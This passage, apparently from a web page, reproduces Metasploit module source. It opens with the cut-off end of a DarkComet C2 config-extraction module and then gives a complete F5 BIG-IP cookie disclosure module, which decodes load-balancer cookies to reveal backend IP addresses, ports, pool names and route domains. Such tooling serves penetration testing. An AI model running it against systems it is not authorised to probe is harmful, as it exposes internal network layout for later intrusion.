from DarkComet C2 server")<br /> end<br /> else<br /> print_status(filedata.to_s)<br /> end<br /> else<br /> print_error("Attack failed or empty config file encountered ...")<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Auxiliary<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'F5 BIG-IP Backend Cookie Disclosure',<br /> 'Description' => %q{<br /> This module identifies F5 BIG-IP load balancers and leaks backend information<br /> (pool name, routed domain, and backend servers' IP addresses and ports) through<br /> cookies inserted by the BIG-IP systems.<br /> },<br /> 'Author' => [<br /> 'Thanat0s <thanspam[at]trollprod.org>',<br /> 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',<br /> 'Nikita Oleksov <neoleksov[at]gmail.com>',<br /> 'Denis Kolegov <dnkolegov[at]gmail.com>',<br /> 'Paul-Emmanuel Raoul <skyper@skyplabs.net>'<br /> ],<br /> 'References' => [<br /> ['URL', 'https://support.f5.com/csp/article/K6917'],<br /> ['URL', 'https://support.f5.com/csp/article/K7784'],<br /> ['URL', 'https://support.f5.com/csp/article/K14784'],<br /> ['URL', 'https://support.f5.com/csp/article/K23254150']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'DefaultOptions' => {<br /> 'SSL' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [],<br /> 'SideEffects' => []<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptInt.new('RPORT', [true, 'The BIG-IP service port', 443]),<br /> OptString.new('TARGETURI', [true, 'The URI path to test', '/']),<br /> OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])<br /> ]<br /> )<br /> end<br /><br /> def change_endianness(value, size = 4)<br /> conversion = nil<br /> if size == 4<br /> conversion = [value].pack('V').unpack('N').first<br /> elsif size == 2<br /> conversion = [value].pack('v').unpack('n').first<br /> end<br /> conversion<br /> end<br /><br /> def cookie_decode(cookie_value)<br /> backend = {}<br /> if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./<br /> host = Regexp.last_match(1).to_i<br /> port = Regexp.last_match(2).to_i<br /> host = change_endianness(host)<br /> host = Rex::Socket.addr_itoa(host)<br /> port = change_endianness(port, 2)<br /> elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/<br /> host = Regexp.last_match(1).to_i(16)<br /> port = Regexp.last_match(2).to_i<br /> host = Rex::Socket.addr_itoa(host)<br /> elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/<br /> host = Regexp.last_match(1).to_i(16)<br /> port = Regexp.last_match(2).to_i<br /> host = Rex::Socket.addr_itoa(host, true)<br /> port = change_endianness(port, 2)<br /> elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/<br /> host = Regexp.last_match(1).to_i(16)<br /> port = Regexp.last_match(2).to_i<br /> host = Rex::Socket.addr_itoa(host, true)<br /> else<br /> host = nil<br /> port = nil<br /> end<br /><br /> backend[:host] = host.nil? ? nil : host<br /> backend[:port] = port.nil? ? nil : port<br /> backend<br /> end<br /><br /> def fetch_cookie<br /> # Request a page and extract a F5 looking cookie<br /> cookie = {}<br /> res = send_request_raw('method' => 'GET', 'uri' => @uri)<br /><br /> unless res.nil?<br /> # Get the SLB session IDs for all cases:<br /> # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",<br /> # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",<br /> # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",<br /> # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"<br /><br /> regexp = /<br /> ([~.\-\w]+)=(((?:\d+\.){2}\d+)|<br /> (rd\d+o0{20}f{4}\w+o\d{1,5})|<br /> (vi([a-f0-9]{32})\.(\d{1,5}))|<br /> (rd\d+o([a-f0-9]{32})o(\d{1,5})))<br /> (?:$|,|;|\s)<br /> /x<br /> m = res.get_cookies.match(regexp)<br /> cookie[:id] = m.nil? ? nil : m[1]<br /> cookie[:value] = m.nil? ? nil : m[2]<br /> end<br /> cookie<br /> end<br /><br /> def run<br /> requests = datastore['REQUESTS']<br /> backends = []<br /> cookie_name = ''<br /> pool_name = ''<br /> route_domain = ''<br /> @uri = normalize_uri(target_uri.path.to_s)<br /> print_status("Starting request #{@uri}")<br /><br /> (1..requests).each do |i|<br /> cookie = fetch_cookie # Get the cookie<br /> # If the cookie is not found, stop process<br /> if cookie.empty? || cookie[:id].nil?<br /> print_error('F5 BIG-IP load balancing cookie not found')<br /> return nil<br /> end<br /><br /> # Print the cookie name on the first request<br /> if i == 1<br /> cookie_name = cookie[:id]<br /> print_good("F5 BIG-IP load balancing cookie \"#{cookie_name} = #{cookie[:value]}\" found")<br /> if cookie[:id].start_with?('BIGipServer')<br /> pool_name = cookie[:id].split('BIGipServer')[1]<br /> print_good("Load balancing pool name \"#{pool_name}\" found")<br /> end<br /> if cookie[:value].start_with?('rd')<br /> route_domain = cookie[:value].split('rd')[1].split('o')[0]<br /> print_good("Route domain \"#{route_domain}\" found")<br /> end<br /> end<br /><br /> backend = cookie_decode(cookie[:value])<br /> unless backend[:host].nil? || backends.include?(backend)<br /> print_good("Backend #{backend[:host]}:#{backend[:port]} found")<br /> backends.push(backend)<br /> end<br /> end<br /><br /> # Reporting found cookie name in database<br /> unless cookie_name.empty?<br /> report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name)<br /> # Reporting found pool name in database<br /> unless pool_name.empty?<br /> report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name)<br /> end<br /> # Reporting found route domain in database<br /> unless route_domain.empty?<br /> report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain)<br /> end<br /> end<br /> # Reporting found backends in database<br /> unless backends.empty?<br /> report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)<br /> end<br /> rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError<br /> print_error('Network connection error')<br /> rescue ::OpenSSL::SSL::SSLError<br /> print_error('SSL/TLS connection error')<br /> end<br />end<br /></code></pre>